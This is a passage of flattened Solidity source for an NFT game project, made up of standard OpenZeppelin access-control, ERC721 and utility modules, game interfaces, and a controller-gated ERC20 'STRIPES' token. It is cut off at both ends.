} function log(bool p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (security/Pausable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT LICENSE pragma solidity ^0.8.0; interface ILioon { // struct to store each token's traits struct TokenMetadata { bool isLion; uint8 alpha; } function getPaidTokens() external view returns (uint256); } // SPDX-License-Identifier: MIT LICENSE pragma solidity ^0.8.0; interface ISafari { function addManyToSafariAndPack(address account, uint16[] calldata tokenIds) external; function randomLionOwner(uint256 seed) external view returns (address); } // SPDX-License-Identifier: MIT LICENSE pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract STRIPES is ERC20, Ownable { // a mapping from an address to whether or not it can mint / burn mapping(address => bool) controllers; constructor() ERC20("STRIPES", "STRIPES") { } /** * mints $MEAT to a recipient * @param to the recipient of the $MEAT * @param amount the amount of $MEAT to mint */ function mint(address to, uint256 amount) external { require(controllers[msg.sender], "Only controllers can mint"); _mint(to, amount); } /** * burns $MEAT from a holder * @param from the holder of the $MEAT * @param amount the amount of $MEAT to burn */ function burn(address from, uint256 amount) external { require(controllers[msg.sender], "Only controllers can burn"); _burn(from, amount); } /** * enables an address to mint / burn * @param controller the address to enable */ function addController(address controller) external onlyOwner { controllers[controller] = true; } /** * disables an address from minting / burning * @param controller the address to disbale */ function removeController(address controller) external onlyOwner { controllers[controller] = false; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return 